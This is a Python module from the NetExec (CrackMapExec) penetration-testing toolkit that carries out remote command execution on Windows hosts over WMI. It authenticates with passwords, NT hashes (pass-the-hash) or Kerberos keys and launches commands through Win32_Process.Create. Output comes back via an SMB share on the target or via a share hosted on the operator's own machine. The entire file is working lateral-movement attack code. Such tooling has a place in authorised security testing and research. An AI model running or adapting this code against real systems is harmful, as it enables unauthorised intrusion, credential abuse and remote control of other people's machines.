NetExec/cme/protocols/smb/wmiexec.py

140 lines
5.2 KiB
Python
Executable File

import ntpath, logging
import os
from gevent import sleep
from cme.helpers.misc import gen_random_string
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
class WMIEXEC:
def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None):
self.__target = target
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__share = share
self.__smbconnection = smbconnection
self.__output = None
self.__outputBuffer = b''
self.__share_name = share_name
self.__shell = 'cmd.exe /Q /c '
self.__pwd = 'C:\\'
self.__aesKey = aesKey
self.__kdcHost = kdcHost
self.__doKerberos = doKerberos
self.__retOutput = True
if hashes is not None:
#This checks to see if we didn't provide the LM Hash
if hashes.find(':') != -1:
self.__lmhash, self.__nthash = hashes.split(':')
else:
self.__nthash = hashes
if self.__password is None:
self.__password = ''
self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
self.__win32Process,_ = iWbemServices.GetObject('Win32_Process')
def execute(self, command, output=False):
self.__retOutput = output
if self.__retOutput:
self.__smbconnection.setTimeout(100000)
if os.path.isfile(command):
with open(command) as commands:
for c in commands:
self.execute_handler(c.strip())
else:
self.execute_handler(command)
self.__dcom.disconnect()
try:
if isinstance(self.__outputBuffer, str):
return self.__outputBuffer
return self.__outputBuffer.decode()
except UnicodeDecodeError:
logging.debug('Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings')
return self.__outputBuffer.decode('cp437')
def cd(self, s):
self.execute_remote('cd ' + s)
if len(self.__outputBuffer.strip('\r\n')) > 0:
print(self.__outputBuffer)
self.__outputBuffer = b''
else:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.__outputBuffer = b''
def output_callback(self, data):
self.__outputBuffer += data
def execute_handler(self, data):
if self.__retOutput:
try:
logging.debug('Executing remote')
self.execute_remote(data)
except:
self.cd('\\')
self.execute_remote(data)
else:
self.execute_remote(data)
def execute_remote(self, data):
self.__output = '\\Windows\\Temp\\' + gen_random_string(6)
command = self.__shell + data
if self.__retOutput:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
logging.debug('Executing command: ' + command)
self.__win32Process.Create(command, self.__pwd, None)
self.get_output_remote()
def execute_fileless(self, data):
self.__output = gen_random_string(6)
local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0]
command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output)
logging.debug('Executing command: ' + command)
self.__win32Process.Create(command, self.__pwd, None)
self.get_output_fileless()
def get_output_fileless(self):
while True:
try:
with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
self.output_callback(output.read())
break
except IOError:
sleep(2)
def get_output_remote(self):
if self.__retOutput is False:
self.__outputBuffer = ''
return
while True:
try:
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
break
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
# Output not finished, let's wait
sleep(2)
pass
else:
#print str(e)
pass
self.__smbconnection.deleteFile(self.__share, self.__output)